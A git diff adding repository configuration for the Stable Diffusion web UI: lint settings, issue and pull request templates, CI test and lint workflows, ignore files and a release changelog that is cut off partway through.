diff --git a/.eslintignore b/.eslintignore new file mode 100644 index 0000000000000000000000000000000000000000..1cfd9487674ff4db01a4285097f5eae74010b2ae --- /dev/null +++ b/.eslintignore @@ -0,0 +1,4 @@ +extensions +extensions-disabled +repositories +venv \ No newline at end of file diff --git a/.eslintrc.js b/.eslintrc.js new file mode 100644 index 0000000000000000000000000000000000000000..4777c276e9b13fa04ce3e9c7222df3d357fd824e --- /dev/null +++ b/.eslintrc.js @@ -0,0 +1,97 @@ +/* global module */ +module.exports = { + env: { + browser: true, + es2021: true, + }, + extends: "eslint:recommended", + parserOptions: { + ecmaVersion: "latest", + }, + rules: { + "arrow-spacing": "error", + "block-spacing": "error", + "brace-style": "error", + "comma-dangle": ["error", "only-multiline"], + "comma-spacing": "error", + "comma-style": ["error", "last"], + "curly": ["error", "multi-line", "consistent"], + "eol-last": "error", + "func-call-spacing": "error", + "function-call-argument-newline": ["error", "consistent"], + "function-paren-newline": ["error", "consistent"], + "indent": ["error", 4], + "key-spacing": "error", + "keyword-spacing": "error", + "linebreak-style": ["error", "unix"], + "no-extra-semi": "error", + "no-mixed-spaces-and-tabs": "error", + "no-multi-spaces": "error", + "no-redeclare": ["error", {builtinGlobals: false}], + "no-trailing-spaces": "error", + "no-unused-vars": "off", + "no-whitespace-before-property": "error", + "object-curly-newline": ["error", {consistent: true, multiline: true}], + "object-curly-spacing": ["error", "never"], + "operator-linebreak": ["error", "after"], + "quote-props": ["error", "consistent-as-needed"], + "semi": ["error", "always"], + "semi-spacing": "error", + "semi-style": ["error", "last"], + "space-before-blocks": "error", + "space-before-function-paren": ["error", "never"], + "space-in-parens": ["error", "never"], + "space-infix-ops": "error", + "space-unary-ops": "error", + "switch-colon-spacing": "error", + "template-curly-spacing": ["error", "never"], + "unicode-bom": "error", + }, + globals: { + //script.js + gradioApp: "readonly", + executeCallbacks: "readonly", + onAfterUiUpdate: "readonly", + onOptionsChanged: "readonly", + onUiLoaded: "readonly", + onUiUpdate: "readonly", + uiCurrentTab: "writable", + uiElementInSight: "readonly", + uiElementIsVisible: "readonly", + //ui.js + opts: "writable", + all_gallery_buttons: "readonly", + selected_gallery_button: "readonly", + selected_gallery_index: "readonly", + switch_to_txt2img: "readonly", + switch_to_img2img_tab: "readonly", + switch_to_img2img: "readonly", + switch_to_sketch: "readonly", + switch_to_inpaint: "readonly", + switch_to_inpaint_sketch: "readonly", + switch_to_extras: "readonly", + get_tab_index: "readonly", + create_submit_args: "readonly", + restart_reload: "readonly", + updateInput: "readonly", + //extraNetworks.js + requestGet: "readonly", + popup: "readonly", + // from python + localization: "readonly", + // progrssbar.js + randomId: "readonly", + requestProgress: "readonly", + // imageviewer.js + modalPrevImage: "readonly", + modalNextImage: "readonly", + // token-counters.js + setupTokenCounters: "readonly", + // localStorage.js + localSet: "readonly", + localGet: "readonly", + localRemove: "readonly", + // resizeHandle.js + setupResizeHandle: "writable" + } +}; diff --git a/.git-blame-ignore-revs b/.git-blame-ignore-revs new file mode 100644 index 0000000000000000000000000000000000000000..4104da632b8fcacf3a6f52eba093e63059749725 --- /dev/null +++ b/.git-blame-ignore-revs @@ -0,0 +1,2 @@ +# Apply ESlint +9c54b78d9dde5601e916f308d9a9d6953ec39430 \ No newline at end of file diff --git a/.gitattributes b/.gitattributes index a6344aac8c09253b3b630fb776ae94478aa0275b..1dc6943d41ac4ce470e9cd07091e283b5c4c4d98 100644 --- a/.gitattributes +++ b/.gitattributes @@ -1,35 +1,8 @@ -*.7z filter=lfs diff=lfs merge=lfs -text -*.arrow filter=lfs diff=lfs merge=lfs -text -*.bin filter=lfs diff=lfs merge=lfs -text -*.bz2 filter=lfs diff=lfs merge=lfs -text -*.ckpt filter=lfs diff=lfs merge=lfs -text -*.ftz filter=lfs diff=lfs merge=lfs -text -*.gz filter=lfs diff=lfs merge=lfs -text -*.h5 filter=lfs diff=lfs merge=lfs -text -*.joblib filter=lfs diff=lfs merge=lfs -text -*.lfs.* filter=lfs diff=lfs merge=lfs -text -*.mlmodel filter=lfs diff=lfs merge=lfs -text -*.model filter=lfs diff=lfs merge=lfs -text -*.msgpack filter=lfs diff=lfs merge=lfs -text -*.npy filter=lfs diff=lfs merge=lfs -text -*.npz filter=lfs diff=lfs merge=lfs -text -*.onnx filter=lfs diff=lfs merge=lfs -text -*.ot filter=lfs diff=lfs merge=lfs -text -*.parquet filter=lfs diff=lfs merge=lfs -text -*.pb filter=lfs diff=lfs merge=lfs -text -*.pickle filter=lfs diff=lfs merge=lfs -text -*.pkl filter=lfs diff=lfs merge=lfs -text -*.pt filter=lfs diff=lfs merge=lfs -text -*.pth filter=lfs diff=lfs merge=lfs -text -*.rar filter=lfs diff=lfs merge=lfs -text -*.safetensors filter=lfs diff=lfs merge=lfs -text -saved_model/**/* filter=lfs diff=lfs merge=lfs -text -*.tar.* filter=lfs diff=lfs merge=lfs -text -*.tar filter=lfs diff=lfs merge=lfs -text -*.tflite filter=lfs diff=lfs merge=lfs -text -*.tgz filter=lfs diff=lfs merge=lfs -text -*.wasm filter=lfs diff=lfs merge=lfs -text -*.xz filter=lfs diff=lfs merge=lfs -text -*.zip filter=lfs diff=lfs merge=lfs -text -*.zst filter=lfs diff=lfs merge=lfs -text -*tfevents* filter=lfs diff=lfs merge=lfs -text +model.ckpt filter=lfs diff=lfs merge=lfs -text +sd_xl_base_1.0.safetensors filter=lfs diff=lfs merge=lfs -text +sd_xl_base_1.0_0.9vae.safetensors filter=lfs diff=lfs merge=lfs -text +sd_xl_offset_example-lora_1.0.safetensors filter=lfs diff=lfs merge=lfs -text +sd_xl_refiner_1.0.safetensors filter=lfs diff=lfs merge=lfs -text +sd_xl_refiner_1.0_0.9vae.safetensors filter=lfs diff=lfs merge=lfs -text +test/test_files/img2img_basic.png filter=lfs diff=lfs merge=lfs -text +test/test_files/mask_basic.png filter=lfs diff=lfs merge=lfs -text diff --git a/.github/ISSUE_TEMPLATE/bug_report.yml b/.github/ISSUE_TEMPLATE/bug_report.yml new file mode 100644 index 0000000000000000000000000000000000000000..cf6a2be86fa691b6f34f0aa3c160850742326ff2 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/bug_report.yml @@ -0,0 +1,74 @@ +name: Bug Report +description: You think somethings is broken in the UI +title: "[Bug]: " +labels: ["bug-report"] + +body: + - type: checkboxes + attributes: + label: Is there an existing issue for this? + description: Please search to see if an issue already exists for the bug you encountered, and that it hasn't been fixed in a recent build/commit. + options: + - label: I have searched the existing issues and checked the recent builds/commits + required: true + - type: markdown + attributes: + value: | + *Please fill this form with as much information as possible, don't forget to fill "What OS..." and "What browsers" and *provide screenshots if possible** + - type: textarea + id: what-did + attributes: + label: What happened? + description: Tell us what happened in a very clear and simple way + validations: + required: true + - type: textarea + id: steps + attributes: + label: Steps to reproduce the problem + description: Please provide us with precise step by step instructions on how to reproduce the bug + value: | + 1. Go to .... + 2. Press .... + 3. ... + validations: + required: true + - type: textarea + id: what-should + attributes: + label: What should have happened? + description: Tell us what you think the normal behavior should be + validations: + required: true + - type: textarea + id: sysinfo + attributes: + label: Sysinfo + description: System info file, generated by WebUI. You can generate it in settings, on the Sysinfo page. Drag the file into the field to upload it. If you submit your report without including the sysinfo file, the report will be closed. If needed, review the report to make sure it includes no personal information you don't want to share. If you can't start WebUI, you can use --dump-sysinfo commandline argument to generate the file. + validations: + required: true + - type: dropdown + id: browsers + attributes: + label: What browsers do you use to access the UI ? + multiple: true + options: + - Mozilla Firefox + - Google Chrome + - Brave + - Apple Safari + - Microsoft Edge + - Other + - type: textarea + id: logs + attributes: + label: Console logs + description: Please provide **full** cmd/terminal logs from the moment you started UI to the end of it, after your bug happened. If it's very long, provide a link to pastebin or similar service. + render: Shell + validations: + required: true + - type: textarea + id: misc + attributes: + label: Additional information + description: Please provide us with any relevant additional info or context. diff --git a/.github/ISSUE_TEMPLATE/config.yml b/.github/ISSUE_TEMPLATE/config.yml new file mode 100644 index 0000000000000000000000000000000000000000..f58c94a9be6847193a971ac67aa83e9a6d75c0ae --- /dev/null +++ b/.github/ISSUE_TEMPLATE/config.yml @@ -0,0 +1,5 @@ +blank_issues_enabled: false +contact_links: + - name: WebUI Community Support + url: https://github.com/AUTOMATIC1111/stable-diffusion-webui/discussions + about: Please ask and answer questions here. diff --git a/.github/ISSUE_TEMPLATE/feature_request.yml b/.github/ISSUE_TEMPLATE/feature_request.yml new file mode 100644 index 0000000000000000000000000000000000000000..35a887408c1a0cb7d5bbf0a8444d0903a708be75 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/feature_request.yml @@ -0,0 +1,40 @@ +name: Feature request +description: Suggest an idea for this project +title: "[Feature Request]: " +labels: ["enhancement"] + +body: + - type: checkboxes + attributes: + label: Is there an existing issue for this? + description: Please search to see if an issue already exists for the feature you want, and that it's not implemented in a recent build/commit. + options: + - label: I have searched the existing issues and checked the recent builds/commits + required: true + - type: markdown + attributes: + value: | + *Please fill this form with as much information as possible, provide screenshots and/or illustrations of the feature if possible* + - type: textarea + id: feature + attributes: + label: What would your feature do ? + description: Tell us about your feature in a very clear and simple way, and what problem it would solve + validations: + required: true + - type: textarea + id: workflow + attributes: + label: Proposed workflow + description: Please provide us with step by step information on how you'd like the feature to be accessed and used + value: | + 1. Go to .... + 2. Press .... + 3. ... + validations: + required: true + - type: textarea + id: misc + attributes: + label: Additional information + description: Add any other context or screenshots about the feature request here. diff --git a/.github/pull_request_template.md b/.github/pull_request_template.md new file mode 100644 index 0000000000000000000000000000000000000000..c9fcda2e2790861c7bf4aa4cb37e01545c48fb95 --- /dev/null +++ b/.github/pull_request_template.md @@ -0,0 +1,15 @@ +## Description + +* a simple description of what you're trying to accomplish +* a summary of changes in code +* which issues it fixes, if any + +## Screenshots/videos: + + +## Checklist: + +- [ ] I have read [contributing wiki page](https://github.com/AUTOMATIC1111/stable-diffusion-webui/wiki/Contributing) +- [ ] I have performed a self-review of my own code +- [ ] My code follows the [style guidelines](https://github.com/AUTOMATIC1111/stable-diffusion-webui/wiki/Contributing#code-style) +- [ ] My code passes [tests](https://github.com/AUTOMATIC1111/stable-diffusion-webui/wiki/Tests) diff --git a/.github/workflows/on_pull_request.yaml b/.github/workflows/on_pull_request.yaml new file mode 100644 index 0000000000000000000000000000000000000000..78e608ee945831e36ab832636e9a7ed9e180c462 --- /dev/null +++ b/.github/workflows/on_pull_request.yaml @@ -0,0 +1,38 @@ +name: Linter + +on: + - push + - pull_request + +jobs: + lint-python: + name: ruff + runs-on: ubuntu-latest + if: github.event_name != 'pull_request' || github.event.pull_request.head.repo.full_name != github.event.pull_request.base.repo.full_name + steps: + - name: Checkout Code + uses: actions/checkout@v3 + - uses: actions/setup-python@v4 + with: + python-version: 3.11 + # NB: there's no cache: pip here since we're not installing anything + # from the requirements.txt file(s) in the repository; it's faster + # not to have GHA download an (at the time of writing) 4 GB cache + # of PyTorch and other dependencies. + - name: Install Ruff + run: pip install ruff==0.0.272 + - name: Run Ruff + run: ruff . + lint-js: + name: eslint + runs-on: ubuntu-latest + if: github.event_name != 'pull_request' || github.event.pull_request.head.repo.full_name != github.event.pull_request.base.repo.full_name + steps: + - name: Checkout Code + uses: actions/checkout@v3 + - name: Install Node.js + uses: actions/setup-node@v3 + with: + node-version: 18 + - run: npm i --ci + - run: npm run lint diff --git a/.github/workflows/run_tests.yaml b/.github/workflows/run_tests.yaml new file mode 100644 index 0000000000000000000000000000000000000000..3dafaf8dcfcd14fd7a7ca3385806efad5550b871 --- /dev/null +++ b/.github/workflows/run_tests.yaml @@ -0,0 +1,73 @@ +name: Tests + +on: + - push + - pull_request + +jobs: + test: + name: tests on CPU with empty model + runs-on: ubuntu-latest + if: github.event_name != 'pull_request' || github.event.pull_request.head.repo.full_name != github.event.pull_request.base.repo.full_name + steps: + - name: Checkout Code + uses: actions/checkout@v3 + - name: Set up Python 3.10 + uses: actions/setup-python@v4 + with: + python-version: 3.10.6 + cache: pip + cache-dependency-path: | + **/requirements*txt + launch.py + - name: Install test dependencies + run: pip install wait-for-it -r requirements-test.txt + env: + PIP_DISABLE_PIP_VERSION_CHECK: "1" + PIP_PROGRESS_BAR: "off" + - name: Setup environment + run: python launch.py --skip-torch-cuda-test --exit + env: + PIP_DISABLE_PIP_VERSION_CHECK: "1" + PIP_PROGRESS_BAR: "off" + TORCH_INDEX_URL: https://download.pytorch.org/whl/cpu + WEBUI_LAUNCH_LIVE_OUTPUT: "1" + PYTHONUNBUFFERED: "1" + - name: Start test server + run: > + python -m coverage run + --data-file=.coverage.server + launch.py + --skip-prepare-environment + --skip-torch-cuda-test + --test-server + --do-not-download-clip + --no-half + --disable-opt-split-attention + --use-cpu all + --api-server-stop + 2>&1 | tee output.txt & + - name: Run tests + run: | + wait-for-it --service 127.0.0.1:7860 -t 600 + python -m pytest -vv --junitxml=test/results.xml --cov . --cov-report=xml --verify-base-url test + - name: Kill test server + if: always() + run: curl -vv -XPOST http://127.0.0.1:7860/sdapi/v1/server-stop && sleep 10 + - name: Show coverage + run: | + python -m coverage combine .coverage* + python -m coverage report -i + python -m coverage html -i + - name: Upload main app output + uses: actions/upload-artifact@v3 + if: always() + with: + name: output + path: output.txt + - name: Upload coverage HTML + uses: actions/upload-artifact@v3 + if: always() + with: + name: htmlcov + path: htmlcov diff --git a/.github/workflows/warns_merge_master.yml b/.github/workflows/warns_merge_master.yml new file mode 100644 index 0000000000000000000000000000000000000000..ae2aab6ba8ce5684755b5fb4083267111bcd23cd --- /dev/null +++ b/.github/workflows/warns_merge_master.yml @@ -0,0 +1,19 @@ +name: Pull requests can't target master branch + +"on": + pull_request: + types: + - opened + - synchronize + - reopened + branches: + - master + +jobs: + check: + runs-on: ubuntu-latest + steps: + - name: Warning marge into master + run: | + echo -e "::warning::This pull request directly merge into \"master\" branch, normally development happens on \"dev\" branch." + exit 1 diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000000000000000000000000000000000000..09734267ff5c4d51c2f9f1c85f6f8bf2cc225fb9 --- /dev/null +++ b/.gitignore @@ -0,0 +1,39 @@ +__pycache__ +*.ckpt +*.safetensors +*.pth +/ESRGAN/* +/SwinIR/* +/repositories +/venv +/tmp +/model.ckpt +/models/**/* +/GFPGANv1.3.pth +/gfpgan/weights/*.pth +/ui-config.json +/outputs +/config.json +/log +/webui.settings.bat +/embeddings +/styles.csv +/params.txt +/styles.csv.bak +/webui-user.bat +/webui-user.sh +/interrogate +/user.css +/.idea +notification.mp3 +/SwinIR +/textual_inversion +.vscode +/extensions +/test/stdout.txt +/test/stderr.txt +/cache.json* +/config_states/ +/node_modules +/package-lock.json +/.coverage* diff --git a/.pylintrc b/.pylintrc new file mode 100644 index 0000000000000000000000000000000000000000..53254e5dcfd871c8c0f0f4dec9dceeb1ba967eda --- /dev/null +++ b/.pylintrc @@ -0,0 +1,3 @@ +# See https://pylint.pycqa.org/en/latest/user_guide/messages/message_control.html +[MESSAGES CONTROL] +disable=C,R,W,E,I diff --git a/CHANGELOG.md b/CHANGELOG.md new file mode 100644 index 0000000000000000000000000000000000000000..130ad44ad0d8d809f2d71a689540a978f39dc6b4 --- /dev/null +++ b/CHANGELOG.md @@ -0,0 +1,507 @@ +## 1.6.0 + +### Features: + * refiner support [#12371](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12371) + * add NV option for Random number generator source setting, which allows to generate same pictures on CPU/AMD/Mac as on NVidia videocards + * add style editor dialog + * hires fix: add an option to use a different checkpoint for second pass ([#12181](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12181)) + * option to keep multiple loaded models in memory ([#12227](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12227)) + * new samplers: Restart, DPM++ 2M SDE Exponential, DPM++ 2M SDE Heun, DPM++ 2M SDE Heun Karras, DPM++ 2M SDE Heun Exponential, DPM++ 3M SDE, DPM++ 3M SDE Karras, DPM++ 3M SDE Exponential ([#12300](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12300), [#12519](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12519), [#12542](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12542)) + * rework DDIM, PLMS, UniPC to use CFG denoiser same as in k-diffusion samplers: + * makes all of them work with img2img + * makes prompt composition posssible (AND) + * makes them available for SDXL + * always show extra networks tabs in the UI ([#11808](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/11808)) + * use less RAM when creating models ([#11958](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/11958), [#12599](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12599)) + * textual inversion inference support for SDXL + * extra networks UI: show metadata for SD checkpoints + * checkpoint merger: add metadata support + * prompt editing and attention: add support for whitespace after the number ([ red : green : 0.5 ]) (seed breaking change) ([#12177](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12177)) + * VAE: allow selecting own VAE for each checkpoint (in user metadata editor) + * VAE: add selected VAE to infotext + * options in main UI: add own separate setting for txt2img and img2img, correctly read values from pasted infotext, add setting for column count ([#12551](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12551)) + * add resize handle to txt2img and img2img tabs, allowing to change the amount of horizontable space given to generation parameters and resulting image gallery ([#12687](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12687), [#12723](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12723)) + * change default behavior for batching cond/uncond -- now it's on by default, and is disabled by an UI setting (Optimizatios -> Batch cond/uncond) - if you are on lowvram/medvram and are getting OOM exceptions, you will need to enable it + * show current position in queue and make it so that requests are processed in the order of arrival ([#12707](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12707)) + * add `--medvram-sdxl` flag that only enables `--medvram` for SDXL models + * prompt editing timeline has separate range for first pass and hires-fix pass (seed breaking change) ([#12457](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12457)) + +### Minor: + * img2img batch: RAM savings, VRAM savings, .tif, .tiff in img2img batch ([#12120](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12120), [#12514](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12514), [#12515](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12515)) + * postprocessing/extras: RAM savings ([#12479](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12479)) + * XYZ: in the axis labels, remove pathnames from model filenames + * XYZ: support hires sampler ([#12298](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12298)) + * XYZ: new option: use text inputs instead of dropdowns ([#12491](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12491)) + * add gradio version warning + * sort list of VAE checkpoints ([#12297](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12297)) + * use transparent white for mask in inpainting, along with an option to select the color ([#12326](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12326)) + * move some settings to their own section: img2img, VAE + * add checkbox to show/hide dirs for extra networks + * Add TAESD(or more) options for all the VAE encode/decode operation ([#12311](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12311)) + * gradio theme cache, new gradio themes, along with explanation that the user can input his own values ([#12346](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12346), [#12355](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12355)) + * sampler fixes/tweaks: s_tmax, s_churn, s_noise, s_tmax ([#12354](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12354), [#12356](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12356), [#12357](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12357), [#12358](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12358), [#12375](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12375), [#12521](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12521)) + * update README.md with correct instructions for Linux installation ([#12352](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12352)) + * option to not save incomplete images, on by default ([#12338](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12338)) + * enable cond cache by default + * git autofix for repos that are corrupted ([#12230](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12230)) + * allow to open images in new browser tab by middle mouse button ([#12379](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12379)) + * automatically open webui in browser when running "locally" ([#12254](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12254)) + * put commonly used samplers on top, make DPM++ 2M Karras the default choice + * zoom and pan: option to auto-expand a wide image, improved integration ([#12413](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12413), [#12727](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12727)) + * option to cache Lora networks in memory + * rework hires fix UI to use accordion + * face restoration and tiling moved to settings - use "Options in main UI" setting if you want them back + * change quicksettings items to have variable width + * Lora: add Norm module, add support for bias ([#12503](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12503)) + * Lora: output warnings in UI rather than fail for unfitting loras; switch to logging for error output in console + * support search and display of hashes for all extra network items ([#12510](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12510)) + * add extra noise param for img2img operations ([#12564](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12564)) + * support for Lora with bias ([#12584](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12584)) + * make interrupt quicker ([#12634](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12634)) + * configurable gallery height ([#12648](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12648)) + * make results column sticky ([#12645](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12645)) + * more hash filename patterns ([#12639](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12639)) + * make image viewer actually fit the whole page ([#12635](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12635)) + * make progress bar work independently from live preview display which results in it being updated a lot more often + * forbid Full live preview method for medvram and add a setting to undo the forbidding + * make it possible to localize tooltips and placeholders + * add option to align with sgm repo's sampling implementation ([#12818](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12818)) + * Restore faces and Tiling generation parameters have been moved to settings out of main UI + * if you want to put them back into main UI, use `Options in main UI` setting on the UI page. + +### Extensions and API: + * gradio 3.41.2 + * also bump versions for packages: transformers, GitPython, accelerate, scikit-image, timm, tomesd + * support tooltip kwarg for gradio elements: gr.Textbox(label='hello', tooltip='world') + * properly clear the total console progressbar when using txt2img and img2img from API + * add cmd_arg --disable-extra-extensions and --disable-all-extensions ([#12294](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12294)) + * shared.py and webui.py split into many files + * add --loglevel commandline argument for logging + * add a custom UI element that combines accordion and checkbox + * avoid importing gradio in tests because it spams warnings + * put infotext label for setting into OptionInfo definition rather than in a separate list + * make `StableDiffusionProcessingImg2Img.mask_blur` a property, make more inline with PIL `GaussianBlur` ([#12470](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12470)) + * option to make scripts UI without gr.Group + * add a way for scripts to register a callback for before/after just a single component's creation + * use dataclass for StableDiffusionProcessing + * store patches for Lora in a specialized module instead of inside torch + * support http/https URLs in API ([#12663](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12663), [#12698](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12698)) + * add extra noise callback ([#12616](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12616)) + * dump current stack traces when exiting with SIGINT + * add type annotations for extra fields of shared.sd_model + +### Bug Fixes: + * Don't crash if out of local storage quota for javascriot localStorage + * XYZ plot do not fail if an exception occurs + * fix missing TI hash in infotext if generation uses both negative and positive TI ([#12269](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12269)) + * localization fixes ([#12307](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12307)) + * fix sdxl model invalid configuration after the hijack + * correctly toggle extras checkbox for infotext paste ([#12304](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12304)) + * open raw sysinfo link in new page ([#12318](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12318)) + * prompt parser: Account for empty field in alternating words syntax ([#12319](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12319)) + * add tab and carriage return to invalid filename chars ([#12327](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12327)) + * fix api only Lora not working ([#12387](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12387)) + * fix options in main UI misbehaving when there's just one element + * make it possible to use a sampler from infotext even if it's hidden in the dropdown + * fix styles missing from the prompt in infotext when making a grid of batch of multiplie images + * prevent bogus progress output in console when calculating hires fix dimensions + * fix --use-textbox-seed + * fix broken `Lora/Networks: use old method` option ([#12466](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12466)) + * properly return `None` for VAE hash when using `--no-hashing` ([#12463](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12463)) + * MPS/macOS fixes and optimizations ([#12526](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12526)) + * add second_order to samplers that mistakenly didn't have it + * when refreshing cards in extra networks UI, do not discard user's custom resolution + * fix processing error that happens if batch_size is not a multiple of how many prompts/negative prompts there are ([#12509](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12509)) + * fix inpaint upload for alpha masks ([#12588](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12588)) + * fix exception when image sizes are not integers ([#12586](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12586)) + * fix incorrect TAESD Latent scale ([#12596](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12596)) + * auto add data-dir to gradio-allowed-path ([#12603](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12603)) + * fix exception if extensuions dir is missing ([#12607](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12607)) + * fix issues with api model-refresh and vae-refresh ([#12638](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12638)) + * fix img2img background color for transparent images option not being used ([#12633](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12633)) + * attempt to resolve NaN issue with unstable VAEs in fp32 mk2 ([#12630](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12630)) + * implement missing undo hijack for SDXL + * fix xyz swap axes ([#12684](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12684)) + * fix errors in backup/restore tab if any of config files are broken ([#12689](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12689)) + * fix SD VAE switch error after model reuse ([#12685](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12685)) + * fix trying to create images too large for the chosen format ([#12667](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12667)) + * create Gradio temp directory if necessary ([#12717](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12717)) + * prevent possible cache loss if exiting as it's being written by using an atomic operation to replace the cache with the new version + * set devices.dtype_unet correctly + * run RealESRGAN on GPU for non-CUDA devices ([#12737](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12737)) + * prevent extra network buttons being obscured by description for very small card sizes ([#12745](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12745)) + * fix error that causes some extra networks to be disabled if both and are present in the prompt + * fix defaults settings page breaking when any of main UI tabs are hidden + * fix incorrect save/display of new values in Defaults page in settings + * fix for Reload UI function: if you reload UI on one tab, other opened tabs will no longer stop working + * fix an error that prevents VAE being reloaded after an option change if a VAE near the checkpoint exists ([#12797](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12737)) + * hide broken image crop tool ([#12792](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12737)) + * don't show hidden samplers in dropdown for XYZ script ([#12780](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12737)) + * fix style editing dialog breaking if it's opened in both img2img and txt2img tabs + * fix a bug allowing users to bypass gradio and API authentication (reported by vysecurity) + * fix notification not playing when built-in webui tab is inactive ([#12834](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12834)) + * honor `--skip-install` for extension installers ([#12832](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12832)) + * don't print blank stdout in extension installers ([#12833](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12832), [#12855](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12855)) + * do not change quicksettings dropdown option when value returned is `None` ([#12854](https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/12854)) + * get progressbar to display correctly in extensions tab + + +## 1.5.2 + +### Bug Fixes: + * fix memory leak when generation fails + * update doggettx cross attention optimization to not use an unreasonable amount of memory in some edge cases -- suggestion by MorkTheOrk + + +## 1.5.1 + +### Minor: + * support parsing text encoder blocks in some new LoRAs + * delete scale checker script due to user demand + +### Extensions and API: + * add postprocess_batch_list script callback + +### Bug Fixes: + * fix TI training for SD1 + * fix reload altclip model error + * prepend the pythonpath instead of overriding it + * fix typo in SD_WEBUI_RESTARTING + * if txt2img/img2img raises an exception, finally call state.end() + * fix composable diffusion weight parsing + * restyle Startup profile for black users + * fix webui not launching with --nowebui + * catch exception for non git extensions + * fix some options missing from /sdapi/v1/options + * fix for extension update status always saying "unknown" + * fix display of extra network cards that have `<>` in the name + * update lora extension to work with python 3.8 + + +## 1.5.0 + +### Features: + * SD XL support + * user metadata system for custom networks + * extended Lora metadata editor: set activation text, default weight, view tags, training info + * Lora extension rework to include other types of networks (all that were previously handled by LyCORIS extension) + * show github stars for extenstions + * img2img batch mode can read extra stuff from png info + * img2img batch works with subdirectories + * hotkeys to move prompt elements: alt+left/right + * restyle time taken/VRAM display + * add textual inversion hashes to infotext + * optimization: cache git extension repo information + * move generate button next to the generated picture for mobile clients + * hide cards for networks 